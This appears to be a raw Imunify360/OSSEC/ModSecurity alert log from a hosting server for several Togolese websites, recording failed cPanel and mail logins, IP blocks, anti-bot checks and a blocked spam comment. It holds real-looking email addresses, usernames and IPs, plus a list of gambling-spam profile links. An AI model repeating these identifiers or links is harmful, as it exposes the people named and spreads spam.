103.108.92.87 - - [19/Jun/2026:03:56:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804482&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841387 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 03:59:19 +0000] info [whostmgrd] 200.9.155.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 03:59:20 +0000] info [whostmgrd] 200.9.155.126 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.148
country_id: 3469034
description:
Jun 19 03:59:36 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.148 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 04:00:09 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 04:01:16 +0000] info [cpaneld] 185.55.240.13 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 04:01:01 +0000] info [whostmgrd] 200.9.155.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 04:01:03 +0000] info [whostmgrd] 200.9.155.126 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.223.89.157
country_id: 1210997
description:
203.223.89.157 - - [19/Jun/2026:04:02:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6735253&pdata=https%253A%252F%252Ftogodailynews.tg%252Fdiplomatie-le-pm-komi-selom-klassou-a-recu-lambassadeur-de-france-marc-vizy-en-fin-de-mission-au-togo%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841759 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/diplomatie-le-pm-komi-selom-klassou-a-recu-lambassadeur-de-france-marc-vizy-en-fin-de-mission-au-togo/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.223.89.157


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.75.232.13
country_id: 1733045
description:
180.75.232.13 - - [19/Jun/2026:04:02:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662871&pdata=https%253A%252F%252Ftogodailynews.tg%252Fbiofach-2024-participation-remarquable-du-togo-a-nuremberg%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841747 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/biofach-2024-participation-remarquable-du-togo-a-nuremberg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.75.232.13


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.71.191
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/9b807b HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.190.40.169
country_id: 1282988
description:
103.190.40.169 - - [19/Jun/2026:04:03:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003933&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F12921&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841799 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/12921" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.190.40.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.60.64.210
country_id: 3895114
description:
179.60.64.210 - - [19/Jun/2026:04:04:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328416&pdata=https%253A%252F%252Ftogodailynews.tg%252Flutte-contre-la-covid-19-le-togo-receptionne-les-premieres-doses-de-vaccin%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841858 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/lutte-contre-la-covid-19-le-togo-receptionne-les-premieres-doses-de-vaccin/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.4127.1037 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.60.64.210


plugin: modsec
rule: 77350630
name: IM360 WAF: DB injection limit
abuser: 14.226.234.10
country_id: 1562822
domain: lct-togo.tg
description:
IM360 WAF: DB injection limit||ARG:ARGS:comment||Injection:https://x.com/go88opcom1\r\nhttps://www.youtube.com/@go88opcom1\r\nhttps://www.pinterest.com/go88opcom1/_profile/\r\nhttps://gravatar.com/go88opcom1\r\nhttps://issuu.com/go88opcom1\r\nhttps://disqus.com/by/go88opcom1/about/\r\nhttps://www.twitch.tv/go88opcom1/about\r\nhttps://500px.com/p/go88opcom1\r\nhttps://www.walkscore.com/people/422522708584/go88\r\nhttps://wakelet.com/@go88opcom1\r\nhttps://instapaper.com/p/go88opcom1\r\nhttps://pbase.com/go88opcom1/\r\nhttps://profile.hatena.ne.jp/go88opcom1/\r\nhttps://beteiligung.hafencity.com/profile/go88opcom1/\r\nhttps://myanimelist.net/profile/go88opcom1\r\nhttps://forum.codeigniter.com/member.php?action=profile&uid=242215\r\nhttps://leetcode.com/u/go88opcom1/\r\nhttps://pxhere.com/en/photographer/5045074\r\nhttps://www.callup


plugin: modsec
rule: 77350576
name: IM360 WAF: DB injection block
abuser: 14.226.234.10
country_id: 1562822
domain: lct-togo.tg
description:
IM360 WAF: DB injection block||ARG:ARGS:comment||Injection:https://x.com/go88opcom1\r\nhttps://www.youtube.com/@go88opcom1\r\nhttps://www.pinterest.com/go88opcom1/_profile/\r\nhttps://gravatar.com/go88opcom1\r\nhttps://issuu.com/go88opcom1\r\nhttps://disqus.com/by/go88opcom1/about/\r\nhttps://www.twitch.tv/go88opcom1/about\r\nhttps://500px.com/p/go88opcom1\r\nhttps://www.walkscore.com/people/422522708584/go88\r\nhttps://wakelet.com/@go88opcom1\r\nhttps://instapaper.com/p/go88opcom1\r\nhttps://pbase.com/go88opcom1/\r\nhttps://profile.hatena.ne.jp/go88opcom1/\r\nhttps://beteiligung.hafencity.com/profile/go88opcom1/\r\nhttps://myanimelist.net/profile/go88opcom1\r\nhttps://forum.codeigniter.com/member.php?action=profile&uid=242215\r\nhttps://leetcode.com/u/go88opcom1/\r\nhttps://pxhere.com/en/photographer


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 87.201.101.103
country_id: 290557
description:
87.201.101.103 - - [19/Jun/2026:04:05:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988976&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Fletat-de-sante-dali-bongo-confirme-par-la-presidence-gabonaise&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841846 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/a-la-une/letat-de-sante-dali-bongo-confirme-par-la-presidence-gabonaise" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:87.201.101.103


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:05:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985329&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841903 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:04:04:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198420&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841890 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:06:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:06:06 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:06:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.209.221.107
country_id: 2287781
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/476488251 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:06:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.151.118.130
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/photo1.jpg 945w, http:/togodailynews.tg/wp-content/uploads/2023/11/photo1-300x265.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/11/photo1-768x679.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.224.105
country_id: 337996
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/918c7a HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.144.87.31
country_id: 1210997
description:
192.144.87.31 - - [19/Jun/2026:04:07:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274404&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Flutte-contre-la-covid-19-kossi-gbenyo-lamadokou-rencontre-les-acteurs-de-la-restauration-et-des-debits-de-boissons%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781842069 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Ftogodailynews.tg%2Flutte-contre-la-covid-19-kossi-gbenyo-lamadokou-rencontre-les-acteurs-de-la-restauration-et-des-debits-de-boissons%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.144.87.31


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.40.204.165
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Siege_BCEAO_MG_8182-2.webp 1920w, http:/togodailynews.tg/wp-content/uploads/2026/06/Siege_BCEAO_MG_8182-2-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/Siege_BCEAO_MG_8182-2-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/Siege_BCEAO_MG_8182-2-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/Siege_BCEAO_MG_8182-2-1536x864.webp 1536w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.173.135.190
country_id: 1269750
description:
Jun 19 04:09:09 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.173.135.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.173.135.190
country_id: 1269750
description:
2026-06-19 04:09:11 dovecot_plain authenticator failed for H=(m0r5pn27y24237pg) [103.173.135.190]:57678: 535 Incorrect authentication data (set_id=papson.fiatuwo@mesyscom.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 80.244.46.53
country_id: 2017370
description:
2026-06-19 04:08:26 H=([0.0.0.0]) [80.244.46.53]:7293 F=<John@4452.com> rejected RCPT <tps@tps.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:10:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143382&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781842220 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.174.193
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:lexecution-de-contrats-un-indicateur-touche-a-suffisance-par-les-reformes-au-togo/||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.148.23.181
country_id: 1282988
description:
103.148.23.181 - - [19/Jun/2026:04:11:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051888&pdata=https%253A%252F%252Ftogodailynews.tg%252Fticad-9-laccroissement-des-investissements-japonais-en-afrique-au-coeur-des-echanges-entre-atidi-mufg-et-nexi%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781842266 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/ticad-9-laccroissement-des-investissements-japonais-en-afrique-au-coeur-des-echanges-entre-atidi-mufg-et-nexi/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.148.23.181


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 154.70.81.34
country_id: 2363686
description:
[2026-06-19 04:11:10 +0000] info [cpaneld] 154.70.81.34 - jmtctoni "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.16.204
country_id: 6252001
description:
Jun 19 04:13:19 ns5 pure-ftpd[3517074]: (?@45.38.16.204) [WARNING] Authentication failed for user [netflix]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.131.141.209
country_id: 690791
description:
Jun 19 04:13:41 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.131.141.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.131.141.209
country_id: 690791
description:
2026-06-19 04:13:43 dovecot_plain authenticator failed for H=(paxectan) [31.131.141.209]:42327: 535 Incorrect authentication data (set_id=hr@white-ways.com)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.182.236
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:secteur-agricole-le-fida-evalue-letat-davancement-du-promifa/||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.44.207.91
country_id: 3573591
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/04/Pose-symbolique-de-panneau-590x381-1.webp 590w, http:/togodailynews.tg/wp-content/uploads/2025/04/Pose-symbolique-de-panneau-590x381-1-300x194.webp 300w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.213.142.206
country_id: 1814991
description:
2026-06-19 04:15:01 dovecot_plain authenticator failed for H=(d0wtjjhh23gkktinjhrxqqrbhn021f0g) [171.213.142.206]:44372: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.62
country_id: 3469034
description:
Jun 19 04:15:24 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.212.130
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/05/IMG-20200511-WA0018.jpg 1080w, http:/togodailynews.tg/wp-content/uploads/2020/05/IMG-20200511-WA0018-300x266.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2020/05/IMG-20200511-WA0018-768x681.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2020/05/IMG-20200511-WA0018-1024x907.jpg 1024w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.62
country_id: 3469034
description:
Jun 19 04:15:32 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.5.142.91
country_id: 1562822
domain: civilemagazine.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-15.117.5.142.91||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.159
country_id: 3865483
description:
Jun 19 04:17:22 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 95.59.68.74
country_id: 1522867
description:
2026-06-19 04:18:06 H=([95.59.68.74]) [95.59.68.74]:61678 F=<John@4452.com> rejected RCPT <fernand@sodigaz.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.159
country_id: 3865483
description:
Jun 19 04:17:30 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.220
country_id: 1269750
description:
Jun 19 04:18:08 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.220 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.238.251.203
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:04:19:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12937840&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781842780 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:19:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015953&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781842786 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:21:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:04:21:17 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:21:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:04:21:15 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.23
country_id: 3469034
description:
Jun 19 04:24:40 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.23 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
